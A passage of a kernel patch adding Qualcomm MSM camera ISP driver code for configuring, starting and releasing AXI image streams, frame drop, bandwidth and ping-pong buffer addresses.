(1 << frame_src); + pr_debug("%s: current mask 0x%X , session mask 0x%X, session_id %d\n", + __func__, + vfe_dev->axi_data.current_frame_src_mask[session_id], + vfe_dev->axi_data.session_frame_src_mask[session_id], + session_id); + if ((vfe_dev->axi_data.current_frame_src_mask[session_id] == + vfe_dev->axi_data.session_frame_src_mask[session_id])) { + vfe_dev->axi_data.current_frame_src_mask[session_id] = 0; + + vfe_dev->axi_data.frame_id[session_id]++; + if (vfe_dev->axi_data.frame_id[session_id] == 0) + vfe_dev->axi_data.frame_id[session_id] = 1; + sof_event.input_intf = + vfe_dev->axi_data.session_frame_src_mask[session_id]; + sof_event.frame_id = vfe_dev->axi_data.frame_id[session_id]; + sof_event.timestamp = ts->event_time; + sof_event.mono_timestamp = ts->buf_time; + msm_isp_send_event(vfe_dev, + ISP_EVENT_SOF + frame_src, &sof_event); + pr_debug("%s: frame id %d\n", __func__, + vfe_dev->axi_data.frame_id[session_id]); + } +} + +void msm_isp_calculate_framedrop( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd) +{ + uint32_t framedrop_period = 0; + struct msm_vfe_axi_stream *stream_info = NULL; + if (HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle) < MAX_NUM_STREAM) { + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)]; + } else { + pr_err("%s: Invalid stream handle",__func__); + return; + } + + framedrop_period = msm_isp_get_framedrop_period( + stream_cfg_cmd->frame_skip_pattern); + + stream_info->frame_skip_pattern = + stream_cfg_cmd->frame_skip_pattern; + if (stream_cfg_cmd->frame_skip_pattern == SKIP_ALL) + stream_info->framedrop_pattern = 0x0; + else + stream_info->framedrop_pattern = 0x1; + stream_info->framedrop_period = framedrop_period - 1; + + if (stream_cfg_cmd->init_frame_drop < framedrop_period) { + stream_info->framedrop_pattern <<= + stream_cfg_cmd->init_frame_drop; + stream_info->init_frame_drop = 0; + stream_info->framedrop_update = 0; + } else { + stream_info->init_frame_drop = stream_cfg_cmd->init_frame_drop; + stream_info->framedrop_update = 1; + } + + if (stream_cfg_cmd->burst_count > 0) { + stream_info->stream_type = BURST_STREAM; + stream_info->num_burst_capture = + stream_cfg_cmd->burst_count; + stream_info->burst_frame_count = + stream_cfg_cmd->init_frame_drop + + (stream_cfg_cmd->burst_count - 1) * + framedrop_period + 1; + } else { + stream_info->stream_type = CONTINUOUS_STREAM; + stream_info->burst_frame_count = 0; + stream_info->num_burst_capture = 0; + } +} + +void msm_isp_calculate_bandwidth( + struct msm_vfe_axi_shared_data *axi_data, + struct msm_vfe_axi_stream *stream_info) +{ + if (stream_info->stream_src < RDI_INTF_0) { + stream_info->bandwidth = + (axi_data->src_info[VFE_PIX_0].pixel_clock / + axi_data->src_info[VFE_PIX_0].width) * + stream_info->max_width; + stream_info->bandwidth = stream_info->bandwidth * + stream_info->format_factor / ISP_Q2; + } else { + int rdi = SRC_TO_INTF(stream_info->stream_src); + stream_info->bandwidth = axi_data->src_info[rdi].pixel_clock; + } +} + +#ifdef CONFIG_MSM_AVTIMER +void msm_isp_start_avtimer(void) +{ + avcs_core_open(); + avcs_core_disable_power_collapse(1); +} +#else +void msm_isp_start_avtimer(void) +{ + pr_err("AV Timer is not supported\n"); +} +#endif + +int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0, i; + uint32_t io_format = 0, avtimer_scaler = 0; + struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd = arg; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + + rc = msm_isp_axi_create_stream( + &vfe_dev->axi_data, stream_cfg_cmd); + if (rc) { + pr_err("%s: create stream failed\n", __func__); + return rc; + } + + rc = msm_isp_validate_axi_request( + &vfe_dev->axi_data, stream_cfg_cmd); + if (rc) { + pr_err("%s: Request validation failed\n", __func__); + msm_isp_axi_destroy_stream(&vfe_dev->axi_data, + HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)); + return rc; + } + stream_info = &vfe_dev->axi_data. + stream_info[HANDLE_TO_IDX(stream_cfg_cmd->axi_stream_handle)]; + msm_isp_axi_reserve_wm(&vfe_dev->axi_data, stream_info); + + if (stream_info->stream_src < RDI_INTF_0) { + io_format = vfe_dev->axi_data.src_info[VFE_PIX_0].input_format; + if (stream_info->stream_src == CAMIF_RAW || + stream_info->stream_src == IDEAL_RAW) { + if (stream_info->stream_src == CAMIF_RAW && + io_format != stream_info->output_format) + pr_warn("%s: Overriding input format\n", + __func__); + + io_format = stream_info->output_format; + } + rc = vfe_dev->hw_info->vfe_ops.axi_ops.cfg_io_format( + vfe_dev, stream_info->stream_src, io_format); + if (rc) { + pr_err("%s: cfg io format failed\n", __func__); + msm_isp_axi_free_wm(&vfe_dev->axi_data, + stream_info); + msm_isp_axi_destroy_stream(&vfe_dev->axi_data, + HANDLE_TO_IDX( + stream_cfg_cmd->axi_stream_handle)); + return rc; + } + } + + msm_isp_calculate_framedrop(&vfe_dev->axi_data, stream_cfg_cmd); + stream_info->vt_enable = stream_cfg_cmd->vt_enable; + axi_data->burst_len = stream_cfg_cmd->burst_len; + + if (stream_info->vt_enable) { + vfe_dev->vt_enable = stream_info->vt_enable; + msm_isp_start_avtimer(); + if (vfe_dev->vfe_hw_version == VFE40_8916_VERSION) { + vfe_dev->p_avtimer_lsw = + ioremap(AVTIMER_LSW_PHY_ADDR_8916, 4); + vfe_dev->p_avtimer_msw = + ioremap(AVTIMER_MSW_PHY_ADDR_8916, 4); + vfe_dev->p_avtimer_ctl = + ioremap(AVTIMER_MODE_CTL_PHY_ADDR_8916, 4); + if (vfe_dev->p_avtimer_ctl) { + avtimer_scaler = + msm_camera_io_r(vfe_dev->p_avtimer_ctl); + /*If bit 2 is set, it indicates AVTimer + ticks are scaled*/ + if (avtimer_scaler & 0x00000002) + vfe_dev->avtimer_scaler = + AVTIMER_TICK_SCALER_8916; + } + } else { + vfe_dev->p_avtimer_lsw = + ioremap(AVTIMER_LSW_PHY_ADDR, 4); + vfe_dev->p_avtimer_msw = + ioremap(AVTIMER_MSW_PHY_ADDR, 4); + } + } + if (stream_info->num_planes > 1) { + msm_isp_axi_reserve_comp_mask( + &vfe_dev->axi_data, stream_info); + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_comp_mask(vfe_dev, stream_info); + } else { + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_wm_irq_mask(vfe_dev, stream_info); + } + + for (i = 0; i < stream_info->num_planes; i++) { + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_wm_reg(vfe_dev, stream_info, i); + + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_wm_xbar_reg(vfe_dev, stream_info, i); + } + return rc; +} + +int msm_isp_release_axi_stream(struct vfe_device *vfe_dev, void *arg) +{ + int rc = 0, i; + struct msm_vfe_axi_stream_release_cmd *stream_release_cmd = arg; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + struct msm_vfe_axi_stream *stream_info = + &axi_data->stream_info[ + HANDLE_TO_IDX(stream_release_cmd->stream_handle)]; + struct msm_vfe_axi_stream_cfg_cmd stream_cfg; + + if (stream_info->state == AVALIABLE) { + pr_err("%s: Stream already released\n", __func__); + return -EINVAL; + } else if (stream_info->state != INACTIVE) { + stream_cfg.cmd = STOP_STREAM; + stream_cfg.num_streams = 1; + stream_cfg.stream_handle[0] = stream_release_cmd->stream_handle; + msm_isp_cfg_axi_stream(vfe_dev, (void *) &stream_cfg); + } + + for (i = 0; i < stream_info->num_planes; i++) { + vfe_dev->hw_info->vfe_ops.axi_ops. + clear_wm_reg(vfe_dev, stream_info, i); + + vfe_dev->hw_info->vfe_ops.axi_ops. + clear_wm_xbar_reg(vfe_dev, stream_info, i); + } + + if (stream_info->num_planes > 1) { + vfe_dev->hw_info->vfe_ops.axi_ops. + clear_comp_mask(vfe_dev, stream_info); + msm_isp_axi_free_comp_mask(&vfe_dev->axi_data, stream_info); + } else { + vfe_dev->hw_info->vfe_ops.axi_ops. + clear_wm_irq_mask(vfe_dev, stream_info); + } + + vfe_dev->hw_info->vfe_ops.axi_ops.clear_framedrop(vfe_dev, stream_info); + msm_isp_axi_free_wm(axi_data, stream_info); + + msm_isp_axi_destroy_stream(&vfe_dev->axi_data, + HANDLE_TO_IDX(stream_release_cmd->stream_handle)); + + return rc; +} + +static void msm_isp_axi_stream_enable_cfg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + int i; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + if (stream_info->state == INACTIVE) + return; + for (i = 0; i < stream_info->num_planes; i++) { + if (stream_info->state == START_PENDING || + stream_info->state == RESUME_PENDING) + vfe_dev->hw_info->vfe_ops.axi_ops. + enable_wm(vfe_dev, stream_info->wm[i], 1); + else { + vfe_dev->hw_info->vfe_ops.axi_ops. + enable_wm(vfe_dev, stream_info->wm[i], 0); + /* Issue a reg update for Raw Snapshot Case + * since we dont have reg update ack + */ + if (stream_info->stream_src == CAMIF_RAW || + stream_info->stream_src == IDEAL_RAW) { + vfe_dev->hw_info->vfe_ops.core_ops. + reg_update(vfe_dev); + } + } + } + + if (stream_info->state == START_PENDING) + axi_data->num_active_stream++; + else if (stream_info->state == STOP_PENDING) + axi_data->num_active_stream--; +} + +void msm_isp_axi_stream_update(struct vfe_device *vfe_dev) +{ + int i; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + for (i = 0; i < MAX_NUM_STREAM; i++) { + if (axi_data->stream_info[i].state == START_PENDING || + axi_data->stream_info[i].state == + STOP_PENDING) { + msm_isp_axi_stream_enable_cfg( + vfe_dev, &axi_data->stream_info[i]); + axi_data->stream_info[i].state = + axi_data->stream_info[i].state == + START_PENDING ? STARTING : STOPPING; + } else if (axi_data->stream_info[i].state == STARTING || + axi_data->stream_info[i].state == STOPPING) { + axi_data->stream_info[i].state = + axi_data->stream_info[i].state == STARTING ? + ACTIVE : INACTIVE; + } + } + + if (vfe_dev->axi_data.pipeline_update == DISABLE_CAMIF || + (vfe_dev->axi_data.pipeline_update == + DISABLE_CAMIF_IMMEDIATELY)) { + vfe_dev->hw_info->vfe_ops.stats_ops. + enable_module(vfe_dev, 0xFF, 0); + vfe_dev->axi_data.pipeline_update = NO_UPDATE; + } + + vfe_dev->axi_data.stream_update--; + if (vfe_dev->axi_data.stream_update == 0) + complete(&vfe_dev->stream_config_complete); +} + +static void msm_isp_reload_ping_pong_offset(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + int i, j; + uint32_t flag; + struct msm_isp_buffer *buf; + for (i = 0; i < 2; i++) { + buf = stream_info->buf[i]; + flag = i ? VFE_PONG_FLAG : VFE_PING_FLAG; + for (j = 0; j < stream_info->num_planes; j++) { + vfe_dev->hw_info->vfe_ops.axi_ops.update_ping_pong_addr( + vfe_dev, stream_info->wm[j], flag, + buf->mapped_info[j].paddr + + stream_info->plane_cfg[j].plane_addr_offset); + } + } +} + +void msm_isp_axi_cfg_update(struct vfe_device *vfe_dev) +{ + int i, j; + uint32_t update_state; + unsigned long flags; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + struct msm_vfe_axi_stream *stream_info; + for (i = 0; i < MAX_NUM_STREAM; i++) { + stream_info = &axi_data->stream_info[i]; + if (stream_info->stream_type == BURST_STREAM || + stream_info->state == AVALIABLE) + continue; + spin_lock_irqsave(&stream_info->lock, flags); + if (stream_info->state == PAUSING) { + /*AXI Stopped, apply update*/ + stream_info->state = PAUSED; + msm_isp_reload_ping_pong_offset(vfe_dev, stream_info); + for (j = 0; j < stream_info->num_planes; j++) + vfe_dev->hw_info->vfe_ops.axi_ops. + cfg_wm_reg(vfe_dev, stream_info, j); + /*Resume AXI*/ + stream_info->state = RESUME_PENDING; + msm_isp_axi_stream_enable_cfg( + vfe_dev, &axi_data->stream_info[i]); + stream_info->state = RESUMING; + } else if (stream_info->state == RESUMING) { + stream_info->runtime_output_format = + stream_info->output_format; + stream_info->state = ACTIVE; + } + spin_unlock_irqrestore(&stream_info->lock, flags); + } + + update_state = atomic_dec_return(&axi_data->axi_cfg_update); +} + +static void msm_isp_cfg_pong_address(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + int i; + struct msm_isp_buffer *buf = stream_info->buf[0]; + for (i = 0; i < stream_info->num_planes; i++) + vfe_dev->hw_info->vfe_ops.axi_ops.update_ping_pong_addr( + vfe_dev, stream_info->wm[i], + VFE_PONG_FLAG, buf->mapped_info[i].paddr + + stream_info->plane_cfg[i].plane_addr_offset); + stream_info->buf[1] = buf; +} + +static void msm_isp_get_done_buf(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint32_t pingpong_status, + struct msm_isp_buffer **done_buf) +{ + uint32_t pingpong_bit = 0, i; + pingpong_bit = (~(pingpong_status >> stream_info->wm[0]) & 0x1); + for (i = 0; i < stream_info->num_planes; i++) { + if (pingpong_bit != + (~(pingpong_status >> stream_info->wm[i]) & 0x1)) { + pr_warn("%s: Write master ping pong mismatch. Status: 0x%x\n", + __func__, pingpong_status); + } + } + *done_buf = stream_info->buf[pingpong_bit]; +} + +static int msm_isp_cfg_ping_pong_address(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, uint32_t pingpong_status) +{ + int i, rc = -1; + struct msm_isp_buffer *buf = NULL; + uint32_t pingpong_bit = 0; + uint32_t bufq_handle = 0; + uint32_t stream_idx = HANDLE_TO_IDX(stream_info->stream_handle); + if (stream_idx >= MAX_NUM_STREAM) { + pr_err("%s: Invalid stream_idx",__func__); + return rc; + } + if (stream_info->bufq_scratch_handle && !stream_info->request_frm_num) + bufq_handle = stream_info->bufq_scratch_handle; + else + bufq_handle = stream_info->bufq_handle; + + rc = vfe_dev->buf_mgr->ops->get_buf(vfe_dev->buf_mgr, + vfe_dev->pdev->id, bufq_handle, &buf); + + if (rc < 0) { + vfe_dev->error_info.stream_framedrop_count[stream_idx]++; + return rc; + } + + if (stream_info->bufq_scratch_handle && + bufq_handle == stream_info->bufq_handle) + stream_info->request_frm_num--; + + if (buf->num_planes != stream_info->num_planes) { + pr_err("%s: Invalid buffer\n", __func__); + rc = -EINVAL; + goto buf_error; + } + + for (i = 0; i < stream_info->num_planes; i++) + vfe_dev->hw_info->vfe_ops.axi_ops.update_ping_pong_addr( + vfe_dev, stream_info->wm[i], + pingpong_status, buf->mapped_info[i].paddr + + stream_info->plane_cfg[i].plane_addr_offset); + pingpong_bit = (~(pingpong_status >> stream_info->wm[0]) & 0x1); + stream_info->buf[pingpong_bit] = buf; + return 0; +buf_error: + vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, + buf->bufq_handle, buf->buf_idx); + return rc; +} + +static inline void msm_isp_get_vt_tstamp(struct vfe_device *vfe_dev, + struct msm_isp_timestamp *time_stamp) +{ + uint32_t avtimer_msw_1st = 0, avtimer_lsw = 0; + uint32_t avtimer_msw_2nd = 0; + uint64_t av_timer_tick = 0; + + if (!vfe_dev->p_avtimer_msw || !vfe_dev->p_avtimer_lsw) { + pr_err("%s: ioremap failed\n", __func__); + return; + } + + do { + avtimer_msw_1st = msm_camera_io_r(vfe_dev->p_avtimer_msw); + avtimer_lsw = msm_camera_io_r(vfe_dev->p_avtimer_lsw); + avtimer_msw_2nd = msm_camera_io_r(vfe_dev->p_avtimer_msw); + } while (avtimer_msw_1st != avtimer_msw_2nd); + av_timer_tick = ((uint64_t)avtimer_msw_1st << 32) | avtimer_lsw; + do_div(av_timer_tick, vfe_dev->avtimer_scaler); + avtimer_lsw = do_div(av_timer_tick, USEC_PER_SEC); + time_stamp->vt_time.tv_sec = (uint32_t)(av_timer_tick); + time_stamp->vt_time.tv_usec = avtimer_lsw; +} + +static void msm_isp_process_done_buf(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info, struct msm_isp_buffer *buf, + struct msm_isp_timestamp *ts) +{ + int rc; + struct msm_isp_event_data buf_event; + struct timeval *time_stamp; + uint32_t stream_idx = HANDLE_TO_IDX(stream_info->stream_handle); + uint32_t session_id = vfe_dev->axi_data. + src_info[SRC_TO_INTF(stream_info->stream_src)].session_id; + uint32_t frame_id = vfe_dev->axi_data.frame_id[session_id]; + uint32_t buf_src; + memset(&buf_event, 0, sizeof(buf_event)); + + if (buf && ts) { + if (vfe_dev->vt_enable) { + msm_isp_get_vt_tstamp(vfe_dev, ts); + time_stamp = &ts->vt_time; + } + else + time_stamp = &ts->buf_time; + + rc = vfe_dev->buf_mgr->ops->get_buf_src(vfe_dev->buf_mgr, + buf->bufq_handle, &buf_src); + if (stream_info->buf_divert && rc == 0 && + buf_src != MSM_ISP_BUFFER_SRC_SCRATCH) { + rc = vfe_dev->buf_mgr->ops->buf_divert(vfe_dev->buf_mgr, + buf->bufq_handle, buf->buf_idx, + time_stamp, frame_id); + /* Buf divert return value represent whether the buf + * can be diverted. A positive return value means + * other ISP hardware is still processing the frame. + */ + if (rc == 0) { + buf_event.input_intf = + SRC_TO_INTF(stream_info->stream_src); + buf_event.frame_id = frame_id; + buf_event.timestamp = *time_stamp; + buf_event.u.buf_done.session_id = + stream_info->session_id; + buf_event.u.buf_done.stream_id = + stream_info->stream_id; + buf_event.u.buf_done.handle = + stream_info->bufq_handle; + buf_event.u.buf_done.buf_idx = buf->buf_idx; + buf_event.u.buf_done.output_format = + stream_info->runtime_output_format; + msm_isp_send_event(vfe_dev, + ISP_EVENT_BUF_DIVERT + stream_idx, + &buf_event); + } + } else { + buf_event.input_intf = + SRC_TO_INTF(stream_info->stream_src); + buf_event.frame_id = frame_id; + buf_event.timestamp = ts->buf_time; + buf_event.u.buf_done.session_id = + stream_info->session_id; + buf_event.u.buf_done.stream_id = + stream_info->stream_id; + buf_event.u.buf_done.output_format = + stream_info->runtime_output_format; + msm_isp_send_event(vfe_dev, + ISP_EVENT_BUF_DONE, &buf_event); + vfe_dev->buf_mgr->ops->buf_done(vfe_dev->buf_mgr, + buf->bufq_handle, buf->buf_idx, + time_stamp, frame_id, + stream_info->runtime_output_format); + } + } +} + +static enum msm_isp_camif_update_state + msm_isp_get_camif_update_state(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) +{ + int i; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint8_t pix_stream_cnt = 0, cur_pix_stream_cnt; + cur_pix_stream_cnt = + axi_data->src_info[VFE_PIX_0].pix_stream_count + + axi_data->src_info[VFE_PIX_0].raw_stream_count; + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + stream_info = + &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + if (stream_info->stream_src < RDI_INTF_0) + pix_stream_cnt++; + } + + if (pix_stream_cnt) { + if (cur_pix_stream_cnt == 0 && pix_stream_cnt && + stream_cfg_cmd->cmd == START_STREAM) + return ENABLE_CAMIF; + else if (cur_pix_stream_cnt && + (cur_pix_stream_cnt - pix_stream_cnt) == 0 && + stream_cfg_cmd->cmd == STOP_STREAM) + return DISABLE_CAMIF; + else if (cur_pix_stream_cnt && + (cur_pix_stream_cnt - pix_stream_cnt) == 0 && + stream_cfg_cmd->cmd == STOP_IMMEDIATELY) + return DISABLE_CAMIF_IMMEDIATELY; + } + return NO_UPDATE; +} + +static void msm_isp_update_camif_output_count( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) +{ + int i; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + + if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) + return; + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) + > MAX_NUM_STREAM) { + return; + } + stream_info = + &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + if (stream_info->stream_src >= RDI_INTF_0) + continue; + if (stream_info->stream_src == PIX_ENCODER || + stream_info->stream_src == PIX_VIEWFINDER || + stream_info->stream_src == IDEAL_RAW) { + if (stream_cfg_cmd->cmd == START_STREAM) + vfe_dev->axi_data.src_info[VFE_PIX_0]. + pix_stream_count++; + else + vfe_dev->axi_data.src_info[VFE_PIX_0]. + pix_stream_count--; + } else if (stream_info->stream_src == CAMIF_RAW) { + if (stream_cfg_cmd->cmd == START_STREAM) + vfe_dev->axi_data.src_info[VFE_PIX_0]. + raw_stream_count++; + else + vfe_dev->axi_data.src_info[VFE_PIX_0]. + raw_stream_count--; + } + } +} + +static void msm_isp_update_rdi_output_count( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd) +{ + int i; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + + if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) + return; + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) + > MAX_NUM_STREAM) { + return; + } + stream_info = + &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + if (stream_info->stream_src < RDI_INTF_0) + continue; + if (stream_info->stream_src == RDI_INTF_0) { + if (stream_cfg_cmd->cmd == START_STREAM) + vfe_dev->axi_data.src_info[VFE_RAW_0]. + raw_stream_count++; + else + vfe_dev->axi_data.src_info[VFE_RAW_0]. + raw_stream_count--; + } else if (stream_info->stream_src == RDI_INTF_1) { + if (stream_cfg_cmd->cmd == START_STREAM) + vfe_dev->axi_data.src_info[VFE_RAW_1]. + raw_stream_count++; + else + vfe_dev->axi_data.src_info[VFE_RAW_1]. + raw_stream_count--; + } else if (stream_info->stream_src == RDI_INTF_2) { + if (stream_cfg_cmd->cmd == START_STREAM) + vfe_dev->axi_data.src_info[VFE_RAW_2]. + raw_stream_count++; + else + vfe_dev->axi_data.src_info[VFE_RAW_2]. + raw_stream_count--; + } + + } +} + +static uint8_t msm_isp_get_curr_stream_cnt( + struct vfe_device *vfe_dev) +{ + uint8_t curr_stream_cnt = 0; + curr_stream_cnt = vfe_dev->axi_data.src_info[VFE_RAW_0]. + raw_stream_count + vfe_dev->axi_data.src_info[VFE_RAW_1]. + raw_stream_count + vfe_dev->axi_data.src_info[VFE_RAW_2]. + raw_stream_count + vfe_dev->axi_data.src_info[VFE_PIX_0]. + pix_stream_count + vfe_dev->axi_data.src_info[VFE_PIX_0]. + raw_stream_count; + + return curr_stream_cnt; +} + +void msm_camera_io_dump_2(void __iomem *addr, int size) +{ + char line_str[128], *p_str; + int i; + u32 *p = (u32 *) addr; + u32 data; + ISP_DBG("%s: %p %d\n", __func__, addr, size); + line_str[0] = '\0'; + p_str = line_str; + for (i = 0; i < size/4; i++) { + if (i % 4 == 0) { + snprintf(p_str, 12, "%08x: ", (u32) p); + p_str += 10; + } + data = readl_relaxed(p++); + snprintf(p_str, 12, "%08x ", data); + p_str += 9; + if ((i + 1) % 4 == 0) { + ISP_DBG("%s\n", line_str); + line_str[0] = '\0'; + p_str = line_str; + } + } + if (line_str[0] != '\0') + ISP_DBG("%s\n", line_str); +} + +/*Factor in Q2 format*/ +#define ISP_DEFAULT_FORMAT_FACTOR 6 +#define ISP_BUS_UTILIZATION_FACTOR 6 +static int msm_isp_update_stream_bandwidth(struct vfe_device *vfe_dev) +{ + int i, rc = 0; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + uint32_t total_pix_bandwidth = 0, total_rdi_bandwidth = 0; + uint32_t num_pix_streams = 0; + uint32_t num_rdi_streams = 0; + uint32_t total_streams = 0; + uint64_t total_bandwidth = 0; + + for (i = 0; i < MAX_NUM_STREAM; i++) { + stream_info = &axi_data->stream_info[i]; + if (stream_info->state == ACTIVE || + stream_info->state == START_PENDING) { + if (stream_info->stream_src < RDI_INTF_0) { + total_pix_bandwidth += stream_info->bandwidth; + num_pix_streams++; + } else { + total_rdi_bandwidth += stream_info->bandwidth; + num_rdi_streams++; + } + } + } + if (num_pix_streams > 0) + total_pix_bandwidth = total_pix_bandwidth / + num_pix_streams * (num_pix_streams - 1) + + ((unsigned long)axi_data->src_info[VFE_PIX_0]. + pixel_clock) * ISP_DEFAULT_FORMAT_FACTOR / ISP_Q2; + total_bandwidth = total_pix_bandwidth + total_rdi_bandwidth; + total_streams = num_pix_streams + num_rdi_streams; + if (total_streams == 1) { + rc = msm_isp_update_bandwidth(ISP_VFE0 + vfe_dev->pdev->id, + (total_bandwidth - MSM_ISP_MIN_AB) , (total_bandwidth * + ISP_BUS_UTILIZATION_FACTOR / ISP_Q2 - MSM_ISP_MIN_IB)); + } + else { + rc = msm_isp_update_bandwidth(ISP_VFE0 + vfe_dev->pdev->id, + total_bandwidth, total_bandwidth * + ISP_BUS_UTILIZATION_FACTOR / ISP_Q2); + } + if (rc < 0) + pr_err("%s: update failed\n", __func__); + + return rc; +} + +static int msm_isp_axi_wait_for_cfg_done(struct vfe_device *vfe_dev, + enum msm_isp_camif_update_state camif_update) +{ + int rc; + unsigned long flags; + spin_lock_irqsave(&vfe_dev->shared_data_lock, flags); + init_completion(&vfe_dev->stream_config_complete); + vfe_dev->axi_data.pipeline_update = camif_update; + vfe_dev->axi_data.stream_update = 2; + spin_unlock_irqrestore(&vfe_dev->shared_data_lock, flags); + rc = wait_for_completion_timeout( + &vfe_dev->stream_config_complete, + msecs_to_jiffies(VFE_MAX_CFG_TIMEOUT)); + if (rc == 0) { + pr_err("%s: wait timeout\n", __func__); + rc = -1; + } else { + rc = 0; + } + return rc; +} + +static int msm_isp_init_stream_ping_pong_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + int rc = 0; + /*Set address for both PING & PONG register */ + rc = msm_isp_cfg_ping_pong_address(vfe_dev, + stream_info, VFE_PING_FLAG); + if (rc < 0) { + pr_err("%s: No free buffer for ping\n", + __func__); + return rc; + } + + /* For burst stream of one capture, only one buffer + * is allocated. Duplicate ping buffer address to pong + * buffer to ensure hardware write to a valid address + */ + if (stream_info->stream_type == BURST_STREAM && + stream_info->runtime_num_burst_capture <= 1) { + msm_isp_cfg_pong_address(vfe_dev, stream_info); + } else { + rc = msm_isp_cfg_ping_pong_address(vfe_dev, + stream_info, VFE_PONG_FLAG); + if (rc < 0) { + pr_err("%s: No free buffer for pong\n", + __func__); + return rc; + } + } + return rc; +} + +static void msm_isp_deinit_stream_ping_pong_reg( + struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info) +{ + int i; + for (i = 0; i < 2; i++) { + struct msm_isp_buffer *buf; + buf = stream_info->buf[i]; + if (buf) + vfe_dev->buf_mgr->ops->put_buf(vfe_dev->buf_mgr, + buf->bufq_handle, buf->buf_idx); + } +} + +static void msm_isp_get_stream_wm_mask( + struct msm_vfe_axi_stream *stream_info, + uint32_t *wm_reload_mask) +{ + int i; + for (i = 0; i < stream_info->num_planes; i++) + *wm_reload_mask |= (1 << stream_info->wm[i]); +} + +static int msm_isp_start_axi_stream(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream_cfg_cmd *stream_cfg_cmd, + enum msm_isp_camif_update_state camif_update) +{ + int i, rc = 0; + uint8_t src_state, wait_for_complete = 0; + uint32_t wm_reload_mask = 0x0; + struct msm_vfe_axi_stream *stream_info; + struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; + + if (stream_cfg_cmd->num_streams > MAX_NUM_STREAM) + return -EINVAL; + + for (i = 0; i < stream_cfg_cmd->num_streams; i++) { + if (HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i]) + > MAX_NUM_STREAM) { + return -EINVAL; + } + stream_info = &axi_data->stream_info[ + HANDLE_TO_IDX(stream_cfg_cmd->stream_handle[i])]; + stream_info->frame_id = 0; + src_state = axi_data->src_info[ + SRC_TO_INTF(stream_info->stream_src)].active; + + msm_isp_calculate_bandwidth(axi_data, stream_info); + msm_isp_reset_framedrop(vfe_dev, stream_info); + msm_isp_get_stream_wm_mask(stream_info, &wm_reload_mask); + rc = msm_isp_init_stream_ping_pong_reg(vfe_dev, stream_info); + if (rc < 0) { + pr_err("%s: No buffer for stream%d\n", __func__, + HANDLE_TO_IDX( + stream_cfg_cmd->stream_handle[i])); + return rc; + } + + stream_info->state = START_PENDING; + if (src_state) { + wait_for_complete = 1; + } else { + if (vfe_dev->dump_reg) + msm_camera_io_dump_2(vfe_dev->vfe_base, 0x900); + + /*Configure AXI start bits to start immediately*/ + msm_isp_axi_stream_enable_cfg(vfe_dev, stream_info); + stream_info->state = ACTIVE; + } + vfe_dev->axi_data.src_info[ + SRC_TO_INTF(stream_info->stream_src)].session_id = + stream_info->session_id; + vfe_dev->axi_data. + session_frame_src_mask[stream_info->session_id] |= + (1 << SRC_TO_INTF(stream_info->stream_src)); + vfe_dev->axi_data.src_info[ + SRC_TO_INTF(stream_info->stream_src)].frame_id = 0; + } + msm_isp_update_stream_bandwidth(vfe_dev); + vfe_dev->hw_info->vfe_ops.axi_ops.reload_wm(vfe_dev, wm_reload_mask); + vfe_dev->hw_info->vfe_ops.core_ops.reg_update(vfe_dev); + + vfe_dev->hw_info->vfe_ops.core_ops.init_vbif_counters(vfe_dev); + + msm_isp_update_camif_output_count(vfe_dev, stream_cfg_cmd); + msm_isp_update_rdi_output_count(vfe_dev, stream_cfg_cmd); + if (camif_update == 